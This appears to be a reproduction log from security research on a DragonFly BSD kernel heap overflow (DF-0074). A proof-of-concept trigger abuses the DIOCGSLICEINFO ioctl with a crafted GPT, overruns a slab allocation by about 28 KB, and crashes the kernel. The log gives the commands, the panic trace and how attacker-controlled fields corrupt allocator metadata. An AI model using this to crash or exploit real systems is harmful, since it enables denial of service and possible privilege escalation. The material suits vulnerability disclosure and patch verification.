============================================================
DF-0074 — baseline reproduction on UNPATCHED master DEV #0
============================================================
Kernel: DragonFly 6.5-DEVELOPMENT #0: Thu Jul  2 06:02:54 UTC 2026  (X86_64_GENERIC, INVARIANTS ON)
        sha256(/boot/kernel/kernel) = 5dc83dac19ad09effd6241c33e0c0669d41b6497ee92d87d3a2e45f287bc22ad

--- single DIOCGSLICEINFO trigger (proves the overrun executes) ---
$ /home/maxx/poc/DF-0074/trigger /dev/vn0s1
DIOCGSLICEINFO returned nslices=130                       <-- the oversized bcopy fired
trigger_rc=0
Sat Jul  4 16:21:13 UTC 2026                              <-- guest still up (single-shot is async)

--- stress: 5 iters + 16-proc parallel flood (surfaces the slab corruption) ---
$ /home/maxx/poc/DF-0074/trigger_stress /dev/vn0s1 5
[0] DIOCGSLICEINFO returned nslices=130 (overflow happened)
[1] DIOCGSLICEINFO returned nslices=130 (overflow happened)
[2] DIOCGSLICEINFO returned nslices=130 (overflow happened)
[3] DIOCGSLICEINFO returned nslices=130 (overflow happened)
[4] DIOCGSLICEINFO returned nslices=130 (overflow happened)
[SSH session terminated by guest panic — vm.sh status => down]

============================================================
PANIC SIGNATURE (from dfbsd-qemu/boot.log, see baseline_panic.txt)
============================================================
Fatal trap 12: page fault while in kernel mode
cpuid = 0; lapic id = 0
fault virtual address  = 0x0
fault code              = supervisor read data, page not present
current process         = Idle
current thread          = pri 12 (CRIT)
kernel: type 12 trap, code=0
Stopped at      _kmalloc+0x44a: movq    (%rax),%rdx
db>

============================================================
INTERPRETATION
============================================================
The 28 KB overrun (32 + 130*256 - 4128 = 29184 bytes) corrupts adjacent slab
zone metadata. The asynchronous idle slab-reclaimer (`_kmalloc` walking the
corrupted zone's free-list / chunk metadata) trips the page fault when it
dereferences a corrupted `c_Next` pointer (now an attacker-influenced
`ds_offset`/`ds_size` field from the crafted GPT). This is the slab
allocator itself crashing on corruption — direct evidence the overflow
landed. vm.sh status => down after the run.